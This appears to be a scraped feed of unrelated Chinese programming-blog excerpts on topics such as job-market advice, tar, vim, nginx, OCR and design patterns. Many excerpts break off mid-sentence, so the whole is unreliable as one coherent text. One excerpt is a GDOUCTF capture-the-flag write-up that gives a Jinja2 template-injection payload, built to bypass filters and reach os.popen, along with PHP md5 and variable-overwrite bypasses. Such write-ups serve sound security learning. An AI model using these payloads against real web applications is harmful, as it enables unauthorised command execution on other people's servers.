在当下互联网行情下,2023年程序员的工作真的很难找

前言 年后,听到有几位同事有离职的想法,有的已经在开始找工作了。,这个行业的工资就是靠跳槽来加速增长的,不过经过了这几个月的面试、复试的经历,几位前期提出离职的同事渐渐改变了想法,他们发现放开后的2023年,工作越来越难找了,以前offer随便选的情况已经不见了。 2023年程序员的工作真的很难找了吗? 2023年的程序员工作难找可能有多个原因,包括技术进步、全球经济形势、政策变化等等。但是,如果我们假设目前的趋势会继续下去,那么程序员在未来几年可能会面临以下挑战: 1)竞争加剧:大部分程序员只是简单的业务软件开发,这类程序员的门槛极低,随着越来越多的人学习编程和软件开发,程序员的数量也在增加。这会导致市场上的竞争变得更加激烈,使得找到一份好的工作更加困难。 2)技能需求变化:技术领域的变化非常快,新的编程语言和框架不断涌现,而一些旧有的技术也会逐渐被淘汰。这意味着程序员需要不断地学习新的技能,以保持自己的竞争力,很多程序员没有主动接受和学习新技术的想法。 3)技术发展进步:随着人工智能和机器学习等技术的发展,一些原本需要人工完成的编程任务可能会被自动化。这可能会导致一些程序员失去工作机会,ChatGPT的横空出世,更是验证了这一点。 4)地理位置限制:有些地区的技术市场可能比较饱和,而有些地区的技术市场则比较萎缩。 总之,虽然程序员目前是一个高需求的职业,但是未来几年可能会面临一些挑战。因此,我建议程序员们不断学习新的技能,以保持自己的竞争力,并且关注技术领域的变化,慢慢的转向需求、架构、管理等方向,以便做出更好的职业规划。 学习哪些技术 1)Android Framework 想要在大佬众多 Android 开发者中有立足之地,就必须要对 FrameWork 有着详细深入的理解,现如今android初级开发都需要学习Framework,不论你是怎样的加班内卷大神,技术不到家都注定会被优化! 为帮助大家了解 Framework 在整个 Android 架构中的功能与构造,系统的学习和掌握Android framework,这里特意分享一份阿里P7架构师整理的 《Android framework 源码开发揭秘》,有需要的文末领取 2)车载 虽然现在是互联网寒冬 计算机人才饱和 。但是随着国家大力推行新能源汽车 ,国内已有不少传统车企转型开发新能源汽车(比如:BYD、吉利等),还有不少新生车企的诞生,这也就意味着需要大量的技术型开发人才。 为了给新手提供一些学习思路,少走一些弯路,在此分享一份《Android车载操作系统开发揭秘》,文末免费领取 3)Kotlin语言 Kotlin是一种现代的、静态类型的编程语言,可以在Android开发中替代Java语言。Kotlin具有更简洁、更安全、更互操作性强等优点,学习它可以提高代码质量和开发效率。 4)Jetpack组件 Jetpack是一组库、工具和指南,旨在帮助开发者更轻松、更快速地开发Android应用程序。Jetpack组件包括LiveData、ViewModel、Room、Navigation等,它们可以提高应用程序的性能、可靠性和安全性。 学习资料展示 《Android framework 源码开发揭秘》 该手册适合具有一定 Android 应用开发经验的程序员,希望能通过深入学习 Android Framework 来帮助开发者更好地理解和掌握这一技术。 Android系统启动流程 了解Framework的同学,可能都或多或少的知道AMS、WMS、类加载、热修复Sophix、插件化等都要涉及系统的启动流程。 从手机开机开始涉及到的关键流程一般可分为以下五个步骤: 手机开启执行Boot ROM引导芯片开始执行。加载引导程序Boot Loader到RAM,Boot Loader一般就会由厂商进行定制。执行引导程序:初始化堆栈、硬件、网络内存等操作。启动Android内核,寻找init关键文件,并启动init进程Kernel启动后,在用户空间启动init进程,该进程作为用户空间的第一个进程,并调用init进程中的main方法开始启动Zygote进程。 仅凭流程是无法掌握具体技术,相信完整的源码解析加上案例分享,可以帮大家省下不少时间。 跨进程通信IPC IPC(inter-Process-Communication)进程间通信,用于两个进程之间进行数据交互的过程,任何操作系统都有IPC机制,但不同的操作系统有着不同的通信方式,Android系统是一种基于Linux内核的移动操作系统,Linux的跨进程通信主要通过管道、共享内存、内存映射等实现的,但Android有自己的进程间通信机制,最具代表性的就是Binder。 整份手册内容主要涵盖:系统启动流程分析、跨进程通信IPC、Handler、AMS 、WMS、SurFace,SurfaceFlinger、PKMS等10个章节,共442页,章节最后还有相关面试题解析,帮助大家更好地学习Framework,通过面试难关。 《Android车载操作系统开发揭秘》 全书分七部分 : 【车载架构篇】【内核篇】【系统调试篇】【LMKD】【Android车载实战篇】【架构通信篇】 前半部分介绍国内主流车载操作系统的基本架构; 后半部分将理论付诸实践,讲解Android车载图像显示系统,构建Android Auto 即时通信应用,实际开发SOA 架构通信。并帮读者解决常见编程问题和困惑。本书适合对车载行业感兴趣的任何层次的读者阅读。 最后 最后一句,程序员找不到工作的最大原因还是由于自身的实力不足。希望以上资料能够帮助大家增强自身实力,提高自身竞争力。

tar基本命令

把常用的tar解压命令总结下 tar -c: 建立压缩档案 -x:解压 -t:查看内容 -r:向压缩归档文件末尾追加文件 -u:更新原压缩包中的文件 这五个是独立的命令,压缩解压都要用到其中一个,可以和别的命令连用但只能用其中一个。下面的参数是根据需要在压缩或解压档案时可选的。 -z:有gzip属性的 -j:有bz2属性的 -Z:有compress属性的 -v:显示所有过程 -O:将文件解开到标准输出 下面的参数-f是必须的 -f: 使用档案名字,切记,这个参数是最后一个参数,后面只能接档案名。 tar -cf all.tar *.jpg 这条命令是将所有.jpg的文件打成一个名为all.tar的包。-c是表示产生新的包,-f指定包的文件名。 tar -rf all.tar *.gif 这条命令是将所有.gif的文件增加到all.tar的包里面去。-r是表示增加文件的意思。 tar -uf all.tar logo.gif 这条命令是更新原来tar包all.tar中logo.gif文件,-u是表示更新文件的意思。 tar -tf all.tar 这条命令是列出all.tar包中所有文件,-t是列出文件的意思 tar -xf all.tar 这条命令是解出all.tar包中所有文件,-x是解开的意思 压缩 tar –cvf jpg.tar *.jpg 将目录里所有jpg文件打包成tar.jpg tar –czf jpg.tar.gz *.jpg 将目录里所有jpg文件打包成jpg.tar后,并且将其用gzip压缩,生成一个gzip压缩过的包,命名为jpg.tar.gz tar –cjf jpg.tar.bz2 *.jpg 将目录里所有jpg文件打包成jpg.tar后,并且将其用bzip2压缩,生成一个bzip2压缩过的包,命名为jpg.tar.bz2 tar –cZf jpg.tar.Z *.jpg 将目录里所有jpg文件打包成jpg.tar后,并且将其用compress压缩,生成一个umcompress压缩过的包,命名为jpg.tar.Z rar a jpg.rar *.jpg rar格式的压缩,需要先下载rar for linux zip jpg.

PyVISA使用——用python控制TEK示波器源码实现

项目要求 项目上提出自动化测试需求,要求能够对板级信号使用示波器等仪器做自动化测量 实现方案 使用PyVISA 方案实现。 VISA (Virtual Instrument Software Architecture) 是一个用于访问测量仪器和控制计算机之间的接口标准,由美国国家仪器公司(National Instruments)推出,用于实现仪器之间的通信和控制。VISA提供了一组标准API函数,可以实现多种通信协议和连接方式的仪器控制。VISA相比于VXI11更加灵活,支持多种接口(底层协议),比如GPIB,RS232,USB, VXIBus等,对于仪器控制有更强大的功能。 Pyvisa是一个基于Python语言开发的访问VISA资源的工具包。通过调用VISA标准API函数来实现与仪器的通信和控制。Pyvisa提供了一组Python的API函数,可以方便地访问VISA库中的函数和方法,从而实现与仪器的数据读取、写入、控制等操作。Pyvisa相比于LabVIEW,Pyvisa是一种跨平台的软件,可以在Linux,Windows和Mac OS上运行,且其拥有更灵活的用户界面,可以自行定制。 如果该脚本运行在服务器上,建议使用Pycharm Professional 或者VSCode + Remote-SSH 插件进行开发,即本地开发,远程部署或调试。 本例使用SCPI命令访问示波器的VISA库,SCPI命令的格式见示波器软件编程手册 脚本实现功能 (1)连接示波器 注意:电脑并没有使用NI-VISA后台,而是使用纯python代码实现的Pyvisa-py, 因此需要提前安装下 pip install -U pyvisa-py (2)简单设置示波器参数,包括channal 选择,横轴窗口设置,纵轴电压窗口设置,Trigger触发方式选择 (3)波形数据以csv 和图片格式保存到本地 (4)保存示波器的截图到本地 脚本与注释 import time import pyvisa as visa import numpy as np import matplotlib.pyplot as plt import pandas as pd from datetime import datetime from pyvisa.errors import VisaIOError from PIL import Image # rm = visa.

JS中filter()方法的使用

常见的场景:当我们从后端请求到数据列表时,我们需要对其中符合条件的数据进行筛选、当我们拿到数据,我们希望把英文首字母大写,数组去重等等。 定义和用法 filter用于对数组进行过滤。 filter() 方法创建一个新的数组,新数组中的元素是通过检查指定数组中符合条件的所有元素。 注意: filter() 不会对空数组进行检测;不会改变原始数组 语法 array.filter(function(currentValue,index,arr), thisValue) 返回值: 返回数组,包含了符合条件的所有元素。如果没有符合条件的元素则返回空数组。 实例 实例1. 返回数组nums中所有大于5的元素。 let nums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]; let res = nums.filter((num) => { return num > 5; }); console.log(res); // [6, 7, 8, 9, 10] 实例2. 对数组进行过滤,筛选出年龄大于 18岁的数据 const arr = [ { name: 'tom1', age: 23 }, { name: 'tom2', age: 42 }, { name: 'tom3', age: 17 }, { name: 'tom4', age: 13 }, ] const res = arr.

在pc端使用rem进行响应式布局

有时会遇到一些类似于大屏、首页的需求,需要对不同屏幕有响应式布局,整体宽度可以使用百分比,然后字体和margin padding可以用rem,以下是rem配置,以vue项目为例,在mian.js中导入即可。 // 设置 rem 函数 function setRem () { // PC端 console.log('非移动设备') // 基准大小 baseSize = 100; let basePc = baseSize / 1920; // 表示1920的设计图,使用100PX的默认值 let vW = window.innerWidth; // 当前窗口的宽度 let vH = window.innerHeight; // 当前窗口的高度 // 非正常屏幕下的尺寸换算 let dueH = vW * 1080 / 1920 if (vH < dueH) { // 当前屏幕高度小于应有的屏幕高度,就需要根据当前屏幕高度重新计算屏幕宽度 vW = vH * 1920 /1080 } let rem = vW * basePc; // 以默认比例值乘以当前窗口宽度,得到该宽度下的相应font-size值 document.

vim编辑器使用教程

文章目录 前言一、vim 的三种工作模式二、vim 基本操作1、编辑2、复制粘贴3、撤销4、跳转5、查找和替换6、自动缩进7、分屏8、其他 三、vim 配置文件 前言 vim 是 Linux 系统内置的「文本编辑器」,用于查看或编辑文件的内容,学会使用 vim 编辑器,将在 Linux 终端中畅通无阻。 一、vim 的三种工作模式 vim 编辑器中最重要的三种模式:命令模式、文本模式、末行模式,每种模式分别支持 多种不同的命令快捷键,可大大提高工作效率。这三种模式的操作区别以及模式之间的切换 方法如下图: 命令模式: 控制光标移动,可对文本进行复制、粘贴、删除等工作。 使用 vim filename 编辑一个文件时,一进入该文件就是命令模式。 文本模式 正常的文本写入。 末行模式 保存或退出文档,以及设置编辑环境。 在命令模式下,输入“:”或者“/”即可进入末行模式。在该模式下,可以进行的操作有,显示行号、搜索、替换、保存、退出。 二、vim 基本操作 1、编辑 i 进入编辑模式,光标前插入字符 a 进入编辑模式,光标后插入字符 o 进入编辑模式,光标所在行的下一行插入 I 进入编辑模式,光标所在行的行首插入 A 进入编辑模式,光标所在行的行末插入字符 O 进入编辑模式,光标所在行的上一行插入字符 替换单个字符 r 命令模式下替换光标选中字符 s 删除光标所在字符并进入编辑模式 S 删除光标所在行并进入编辑模式 x 删除光标所在字符,工作模式不变 dw 删除光标所在单词,要求光标在首字母上,如果不在首字母,只会删除当前位置到单词末,工作 模式不变 D 删除光标所在位置到行末,工作模式不变 0(数字) 光标移到行首,工作模式不变 $ 光标移到行尾,工作模式不变 d0 删除光标所在位置到行首,工作模式不变 d$ 删除光标所在位置到行末,工作模式不变 一段删除,即删除指定区域 光标选中要删除的首字符,按 v 进入可视模式,再使用 hjkl 移动到要删除的末尾,按 d 删除 删除整行: dd,删除光标所在行 n+dd ,删除从光标开始的 n 行 2、复制粘贴 yy 复制光标所在行 p 向后粘贴剪切板内容, 如果复制整行, 这里是粘贴在光标所在位置的下一行 P 向前粘贴剪切板内容, 如果是整行, 这里是粘贴在光标所在位置的上一行 这里提一下,dd不是删除,而是剪切,剪切的内容去了剪切板,而不是删掉了 p 和 P 粘贴会出现换行,主要原因是复制整行时,会把行末的换行符也复制下来 n-yy 复制光标所在位置的 n 行,包括光标所在行 3、撤销 命令模式下 u 撤销操作 Ctrl-r 反撤销 4、跳转 命令模式下的光标移动 h 左移 j 下移 k 上移 l 右移 命令模式下行跳转 line-G 缺点是没有回显 末行模式下行跳转 :line-回车 跳转首行 gg (命令模式) 跳转末行 G (命令模式) 大括号跳转 命令模式下,光标处于左大括号时,使用%跳转到对应右大括号,再按%跳回去。 其他括号也可以这样 5、查找和替换 1)查找 /+findname 命令模式下查找 按回车键启动查找后, 按 n,会自动找下一个, N 跳到上一个查找光标所在单词 光标在目标单词上时, *或者#查找下一个,这里不要求光标必须在首字母上 2)替换:末行模式下进行 单行替换 光标置于待替换行 :s /待替换词/替换词 全文替换 :%s /待替换词/替换词 这个默认替换每行的首个,一行有多个目标词时,后面的不会变 :%s /待替换词/替换词/g 真正意义上的全局替换 区域替换 :24,35s /待替换词/替换词/g 替换 24-35 行之间的目标词 末行模式下历史命令 Ctrl-p 上一条命令 Ctrl-n 下一条命令 6、自动缩进 gg=G (命令模式) 在这之前要进行 vimrc 修改,不然自动缩进是 8 个空格

rpm包下载

https://rpmfind.net/linux/rpm2html/search.php?query=java&submit=Search+…&system=&arch= 注意版本

Slide-Transformer: Hierarchical Vision Transformer with Local Self-Attention论文阅读笔记

-cvpr2023 -当前attention机制存在的问题: ①利用im2col方式计算local attention 需要消耗很大的计算资源 ② window attention存在固定的设计模式,如窗口应该如何移动,引入人工干涉。 -Method -.Shift as Depthwise Convolution 作者首先从新的角度上剖析了im2col的原理,并用深度卷积重新实现local attention 机制。 ①im2col实现的local attention:以2*2的特征图为例,先进行padding,而后通过3*3的滑动窗口得到H*W个窗口值,再进行展平,得到键值对。 ②feature shift实现的local attention:以2*2的特征图为例,按照左上,上,右上,左,中,右,左下,下,右下的方式移动特征图窗口。得到九个不同的特征,再生成键值对。 ③作者提出的利用Depthwise实现的local attention:以2*2的特征图为例,先进行padding,而后通过不同的固定权重的3*3的窗口得到九个不同的特征,再生成键值对。 -Deformed Shifting Module 通过将原来的 Im2Col 函数切换为 depthwise convolutions,局部注意力的效率得到了极大的提升。尽管如此,精心设计的内核权重仍然将键和值限制在固定的相邻位置,这可能不是捕获不同特征的最佳解决方案。因此,本文提出了一种新颖的可变形移位模块,以进一步增强局部注意力的灵活性。具体来说,我们在 shiftwise 卷积中利用设计范例,并引入并行卷积路径,其中内核参数在训练过程中随机初始化和学习。与将特征向不同方向移动的固定核相比,可学习内核可以解释为所有局部特征的线性组合。这类似于可变形卷积网络 中的不规则感受野。 ①局部注意力中的键值对是利用一个更灵活的模块来提取的,该模块可以提高模型的容量和捕获更多样性的特征。 ②可学习的卷积核与DCN中的可变形技术很相似。类似于DCN中四个相邻像素的双线性插值,我们的变形移位模块可以看作是局部窗口内特征的线性组合。这最终有助于增强空间采样位置和模型输入的几何变换。 ③使用重新参数化技术来将这两条并行路径转换为一个单一的卷积。这样,我们就可以在保持推理效率的同时提高模型的计算能力

从零开始手把手教利用electorn+vue搭建一套客户端开发环境

利用 electron 开发桌面应用时,首先会遇到这么一个问题:网上很多的electron+vue开发框架太繁琐复杂,同时技术栈都比较老旧,有时候升级某个包报一堆的错误,这些错误又涉及到桌面软件开发的知识,这对于前端开发者来说无疑是噩梦。 因此,搭建一套属于自己的 electron+vue 开发框架显得格外重要,好处是我可以随意扩展和配置。 本文将从零开始利用 elelctron 和 webpack+vue3 教你如何搭建一套桌面开发环境。 开发环境组成 我们知道,利用 electron 开发客户端,页面全部都是用 html+css+js 编写,这为前端开发者开发客户端提供了可能。同时,随着 web 技术的飞速发展,在开发效率和页面效果展示方面是其他技术所不能比拟的,这也是为什么 electron 越来越火的原因。 对于今天的前端开发来说,一般使用 vue/react 框架来开发 web 页面,因此,整个开发环境架构如下图所示: 它包括两个部分:electron 和 web页面 electron:左边的 electron 可以理解为一个浏览器,本质上它是由 chromium 和 nodejs构成。choromium 提供了 UI 界面的展示, nodejs 提供操作本地电脑的能力。 web页面: 右边是用 @vue/cli 脚手架搭建的 vue 开发环境,用来创建客户端页面。 中间通过 electron 提供的接口 window.loadURL 去加载 web 页面,这样 electron 就能显示页面。 下面,我们将分别搭建这两部分。 创建web 页面 1. 安装`vue`官方脚手架 npm install -g @vue/cli 2. 利用脚手架创建项目 vue create electron-vue-demo

Linux下创建用户

linux下创建用户(一) Linux 系统是一个多用户多任务的分时操作系统,任何一个要使用系统资源的用户,都必须首先向系统管理员申请一个账号,然后以这个账号的身份进入系统。用户的账号一方面可以帮助系统管理员对使用系统的用户进行跟踪,并控制他们对系统资源的访问;另一方面也可以帮助用户组织文件,并为用户提供安全性保护。每个用户账号都拥有一个惟一的用户名和各自的口令。用户在登录时键入正确的用户名和口令后,就能够进入系统和自己的主目录。 实现用户账号的管理,要完成的工作主要有如下几个方面: · 用户账号的添加、删除与修改。 · 用户口令的管理。 · 用户组的管理。 一、Linux系统用户账号的管理 用户账号的管理工作主要涉及到用户账号的添加、修改和删除。 添加用户账号就是在系统中创建一个新账号,然后为新账号分配用户号、用户组、主目录和登录Shell等资源。刚添加的账号是被锁定的,无法使用。 1、添加新的用户账号使用useradd命令,其语法如下: 代码: useradd 选项 用户名 其中各选项含义如下: 代码: -c comment 指定一段注释性描述。 -d 目录 指定用户主目录,如果此目录不存在,则同时使用-m选项,可以创建主目录。 -g 用户组 指定用户所属的用户组。 -G 用户组,用户组 指定用户所属的附加组。 -s Shell文件 指定用户的登录Shell。 -u 用户号 指定用户的用户号,如果同时有-o选项,则可以重复使用其他用户的标识号。 用户名 指定新账号的登录名。 例1: 代码: # useradd –d /usr/sam -m sam 此命令创建了一个用户sam, 其中-d和-m选项用来为登录名sam产生一个主目录/usr/sam(/usr为默认的用户主目录所在的父目录)。 例2: 代码: # useradd -s /bin/sh -g group –G adm,root gem 此命令新建了一个用户gem,该用户的登录Shell是/bin/sh,它属于group用户组,同时又属于adm和root用户组,其中group用户组是其主组。 这里可能新建组:#groupadd group及groupadd adm 增加用户账号就是在/etc/passwd文件中为新用户增加一条记录,同时更新其他系统文件如/etc/shadow, /etc/group等。 Linux提供了集成的系统管理工具userconf,它可以用来对用户账号进行统一管理。 2、删除帐号

【行为型模式】责任链模式

文章目录 1、简介2、结构3、实现方式3.1、案例引入3.2、结构分析3.3、具体实现 4、责任链优缺点5、应用场景 1、简介 责任链模式(Chain of Responsibility)是一种行为型设计模式,它允许对象在链上依次处理请求,用户只需要将请求发送到责任链上即可,无须关心请求的处理细节和请求的传递,从而避免了请求发送者和接收者之间的直接耦合。具体来说,当一个请求进入责任链时,每个对象都有机会对该请求进行处理,如果当前对象无法处理该请求,则将其传递给下一个对象,直到找到能够处理请求的对象为止。 责任链模式在实际开发中非常常用,它可以帮助我们简化代码结构,提高可维护性和可扩展性。使用责任链模式可以避免代码中出现大量的条件语句,同时也使得代码更加灵活,易于修改和扩展。例如,在Web开发中,我们经常需要对请求进行权限校验、数据验证等操作,这些操作可以通过责任链模式来实现,从而使得代码更加清晰、易于维护。 2、结构 责任链模式由多个对象组成,每个对象都可以选择性地处理请求,并将请求传递给链中的下一个处理器。其结构包括以下几个要素: 抽象处理者(Handler):定义了一个处理请求的接口,并维护一个指向下一个处理器的引用;具体处理者(Concrete Handler):实现了处理请求接口,如果能够处理请求则直接处理,否则将请求转发给下一个处理器;客户端(Client):创建和组装责任链,并向其提交请求。 在这种结构中,客户端将请求发送给责任链的第一个处理器,如果该处理器无法处理请求,则会将请求转发给链中的下一个处理器,直到找到能够处理请求的处理器或者遍历完整个责任链为止。 3、实现方式 3.1、案例引入 假设某公司的员工老王因为需要为爱冲锋请假五天,他向项目组组长提交了请假申请,请假一天以下的假只需要小组长同意即可;请假1天到3天的假还需要部门经理同意;请求3天到7天还需要总经理同意才行,最终完成请假批准。 以上场景我们可以通过责任链模式来处理申请可以提高流程效率和响应速度,当某一个处理者权限不足时传递给更高级别的处理者,知道可以批准请假请求。 3.2、结构分析 在上述场景中,责任链模式中的各个角色分别对应如下: Handler(抽象处理者):该类是所有具体处理者的抽象基类,定义了处理请求的接口和维护后继处理者的链表。在上述代码中,Handler类中定义了numStart、numEnd和nextHandler字段以及submit()和handleLeave()方法; GroupLeader、Manager和GeneralManager(具体处理者):这些类是实际处理请求的角色,根据自己所能处理的请假天数范围来决定是否处理该请求,如果不能处理则将请求传递给下一个处理者。在上述代码中,这三个类分别继承了Handler类,并且覆盖了handleLeave()方法; LeaveRequest(请求对象):表示需要被处理的请求,在责任链模式中被依次传递给各个处理者进行处理。在上述代码中,LeaveRequest类包含了姓名、请假天数和请假内容三个属性。 3.3、具体实现 首先,定义了一个LeaveRequest类,表示请假条,其中包含姓名、请假天数和请假内容三个属性。 //请假条(请求对象) public class LeaveRequest { private String name;//姓名 private int num;//请假天数 private String content;//请假内容 public LeaveRequest(String name, int num, String content) { this.name = name; this.num = num; this.content = content; } public String getName() { return name; } public int getNum() { return num; } public String getContent() { return content; } } 定义了一个Handler抽象类,表示领导处理者,包含处理请假条的方法handleLeave()和提交请假条的方法submit()。其中,submit()方法接收一个请假条对象,如果该领导能够处理该请假条,则会调用handleLeave()方法进行处理,并且如果还有上级领导则会继续提交给上级领导处理,直到没有上级领导为止。

同学在外包干了两年的点点点,24岁人就快废了

前言 简单的说下,我大学的一个同学,毕业后我自己去了自研的公司,他去了外包,快两年了我薪资、技术各个方面都有了很大的提升,他在外包干的这两年人都要废了,技术没一点提升,学不到任何东西,一直都在点点点,其实感觉挺可惜的,毕竟我和他关系还算不错! 前段时间他和我说了下,说不能在废下去了,要想办法自救了,干了近两年的功能测试,他一个00后的小伙子都要变成50岁的保安大爷了,完全不思进取,我问他为啥想到要自救,前面进取心不是被磨灭的差不多了吗?他开玩笑似的说,主要自己身边有个卷王,两年不到就跳槽涨薪了,有点小嫉妒。我一听,这不是我吗?人还是得比较才会有前进的动力,最近他也开始自学起来,也卷了起来,我自己也把从字节大牛学长那里弄到的《软件测试资源》给了他,也算是为他的自学之路添一把火吧! 也和他说了有啥问题可以找我,能帮的就帮了,帮不到那你自求多福吧!顺便还打趣他,说你再这么混下去,你女朋友都要跑了,哈哈哈哈...... 同时,我这里也简单的介绍一下这份大牛分享的《软件测试资源》【免费领取的啊】,包括测试理论、Linux基础、MySQL基础、Web测试、接口测试、App测试、Python基础、Selenium相关、性能测试相关等,希望可以帮助到各位! 一、基础知识 计算机基础 测试理论 HTML基础 CSS基础 JS基础 二、Linux和数据库 linux 数据库介绍 SQL语言(重点) 数据库高级功能 三、编程+数据结构 Python基础 面向对象 异常处理 模块和包 四、WEB自动化 WEB自动化入门 WEB自动化基础 WEB自动化中级 WEB自动化高级 项目实战 五、移动自动化 移动自动化基础 移动自动化中级 移动自动化高级 六、接口测试 接口基础 postman实现接口测试 数据库操作 代码实现接口测试 持续集成 接口测试扩展 七、接口自动化 接口自动化脚本编写 接口自动化测试执行 接口自动化测试报告分析 ... 八、性能测试 性能测试基础 性能测试工具 项目-接口性能测试 项目-web性能测试 性能测试调优 九、安全测试 数据库安全测试 网络安全测试 应用程序安全测试 安全性能测试 社会工程学测试 总结 上面资料只是展现了一小部分,一共有600多个G的资料,全部展现出来也不太现实,为了不影响大家的阅读体验就只展示了部分内容,还望大家海涵,我在这里也为各位整理好了,同时,也节省大家在网上搜索资料的时间来学习!

linux系列(三):linux目录介绍、安装xshell、解决不识别ifconfig

1 目录介绍 文件夹的作用 >>/ 根目录:类似于 我的电脑 >>bin(binaries)存放可执行文件 >>sbin(super user binaries)存放主要的可执行程序 只有root可以访问 >>etc(etcetera)系统配置文件 >>usr(unix shared resources)共享的资源信息:类似于C:\Users\Public >>home 存放用户文件的根目录 :类似于C:\Users >>root 超级用户目录 :C:\Users\苗天保 显示为~ >>dev(devices) 设备文件 : >>lib(library)存放给系统的程序运行所需的类库及内核模块 >>mnt(mount) 系统管理员安装临时文件系统的安装点 >>boot系统引导时使用的各种文件 >>tmp(temporary)临时文件 >>var(variable)运行时需要的数据文件 根据颜色分类 蓝色:文件夹 ----绿色:可执行程序 青色:快捷方式 橙色:压缩包 .开头的是隐藏文件 2 安装xshell 2.1 解决不识别ifconfig * 查看ifconifg是否存在:ll /sbin/ifconfig 不存在 * 安装ifconfig: yum install ifconifg 缺少包 * 查看依赖的包: yum search ifconifg 缺少net-tools.x86_64 * 安装依赖的包: yum install net-tools.x86_64 -y 2.2 获取linxu的ip 2.3 安装xshell 创建连接

new Date()生成 年月日的简易方法

有些脚本中是不能使用moment,day.js一些库,那么就需要执行原生的日期转换 以下有两种方法可供参考 one var date = new Date(timestamp);//时间戳为10位需*1000,时间戳为13位的话不需乘1000 var Y = date.getFullYear() + '-'; var M = (date.getMonth()+1 < 10 ? '0'+(date.getMonth()+1) : date.getMonth()+1) + '-'; var D = (date.getDate() < 10 ? '0'+(date.getDate()) : date.getDate()) + ' '; var h = (date.getHours() < 10 ? '0'+(date.getHours()) : date.getHours()) + ':'; var m = (date.getMinutes() < 10 ? '0'+(date.getMinutes()) : date.getMinutes()) + ':'; var s = (date.getSeconds() < 10 ?

一篇入门深度学习OCR:数据集和算法合集

转载自CSDN博客:一篇入门深度学习OCR:数据集和算法合集 请去原博点赞! 文章目录 💞1. OCR数据集和数据集生成工具💘1.1 文本检测数据集1.1.1 SynthText (ST)1.1.2 IC03 IC13 IC151.1.3 COCO-Text1.1.4 IIIT1.1.5 SVT1.1.6 CUTE1.1.7 ICDAR 2017 RCTW1.2 数据集总结 💓1.2 文本识别数据集 💌2. 深度学习OCR算法💟2.1 文本检测2.1.1 CTPN2.1.2 CRAFT2.1.3 Seglink2.1.4 EAST 2.1 总结💝2.2 文本识别2.2.1 CRNN:CNN+RNN+CTC2.2.2 CNN+Seq2Seq+Attention 🥪2.3 现成可用的库 3. 深度学习相关博客4. 相关书籍5.识别加速 当前OCR领域基本上已经是深度学习的天下了,近5年,在算法和数据集的双重加持下,OCR已经成为一个解决的问题,要做一个适合于自己的OCR系统,关键在于选择适合于自己场景的数据集和算法。 本文主要记录OCR领域常用的数据集和算法,以及相关的开源项目和博客。 💞1. OCR数据集和数据集生成工具 在任何领域,深度学习成为主流意味着数据集是其中的关键,即使是相同的OCR模型,大规模数据集的训练能带来识别效果上质的提升。 深度学习OCR处理主要分成两步走: (1)图片中的文本检测,即通过文本框框出图片中的文本。 (2)识别出文本框中的文本。 对应的,公开的数据集也分成这两类。 💘1.1 文本检测数据集 1.1.1 SynthText (ST) 文本检测数据集使用最为广泛的是SynthText (ST),可以说是OCR领域的 ImageNet,该数据集由牛津大学工程科学系视觉几何组的 Gupta, A. and Vedaldi, A. and Zisserman, A. 于 2016 年在 IEEE 计算机视觉 和模式识别会议 (CVPR) 上发布。

GDOUCTF

WEB hate eat snake 这是一个JS的题目,但是这个题目好像有点奇怪,不是很理解,当时我找到了我寝室JS的大哥,跟大哥说了一下我的思路,就是他根据这个time然后/1000转化为秒,就当作是我们玩游戏的一个分数!那我把1000改掉改成10,那么整体上的返回值的结果不就变大了嘛: 但是在改的时候,发现并不能成功,甚至我想直接删掉这一行代码,直接return 固定值就好了嘛,但是不明白为什么不成功,大哥跟我说下个断点跟一下看看,后来发现,他会不断的新建实例。防止修改里面的值。后来大哥跟我说将断点下载这个函数,直接在控制台去修改: 下断成功,转去控制台,在运行的过程中,修改掉函数的返回值! 上面的语句大概类似于 Snake.prototype.getScore = function(){ return 99999} 受不了一点 考察php特性 POST传参gdou[]=1&ctf[]=2,来绕过md5的强等!增加header头:cookie=j0k3r,然后get传递aaa=114514 bbb=114514a,之后就是变量覆盖,需要存在一个GET或者是POST方式的flag。同时flag参数的值不可以等于flag,之后便是 通过遍历POST请求的内容,覆盖变量中的值,遍历GET方式,将value变量的值,赋值给key变量。因此我们可以通过GET传递get=flag 然后flag=get 那么在遍历GET的时候,形成$get=$flag,会将变量get的内容覆盖成变量flag的内容,之后再执行flag=get,又将变量get内容赋值给flag,其实主要就是为了绕过上面的两个if条件,最终输出$flag。 EZ_WEB 源码泄露,查看源代码,会发现src路由。 之后访问该路由: 发现/super-secret-route-nobody-will-guess路由,请求方式是PUT,直接通过PUT方式访问该路由即可! ez_ze 题目上来过滤了{{}},使用{%%}来绕过,同时过滤了点号和中括号以及下划线! 关于点号和[]被过滤的话,可以使用attr来绕过,下划线的就构造一个就可以了; {%set pop=dict(pop=a)|join%}{%set xia=(()|select|string|list)|attr(pop)(24)%} 以上便可以构造出下划线,接下来我们尝试构造如下的payload: lipsum.__globals__.__getitem__('os').popen('ls').read() //接下来分别进行拼接globals getitem os popen read {%set glo=(xia,xia,dict(globals=a)|join,xia,xia)|join%} {%set geti=(xia,xia,dict(getit=a,em=a)|join,xia,xia)|join%} {%set s=dict(o=a,s=a)|join%} {%set open=dict(po=a,pen=a)|join%} {%set read=dict(read=a)|join%} 中间的os popen 以及getitem均存在正则的匹配,拆开拼接即可! 最终形成如下payload: {%set payload=(lipsum|attr(glo)|attr(geti)(s)|attr(open)('ls')|attr(read)())%} {%print(payload)%}

nginx .conf 基本配置 随手记

user root; worker_processes 1; #允许生成的进程数,默认是1 events { accept_mutex on; #设置网路连接序列化,防止惊群现象发生,默认为on multi_accept on; #设置一个进程是否同时接受多个网络连接,默认为off #use epoll; #事件驱动模型,select|poll|kqueue|epoll|resig|/dev/poll|eventport worker_connections 1024; #最大连接数,默认为512 } http { include mime.types; #文件扩展名与文件类型映射表 default_type application/octet-stream; sendfile on; #开启高效文件传输模式 #tcp_nopush on; keepalive_timeout 65;#保持请求活跃时间 #gzip on; #配置负载均衡 upstream httpds{ server 127.0.0.1 weight 10 down;#weight 表示权重 down 表示宕机 server 127.0.0.1 weight 10; server 127.0.0.1 weight 10 backup;#backup 表示备用机 } server { listen 80; server_name 114.116.204.23; gzip on; # 开启Gzip # gzip_static on; # 开启静态文件压缩 这句话不要

Linux 安装 jdk

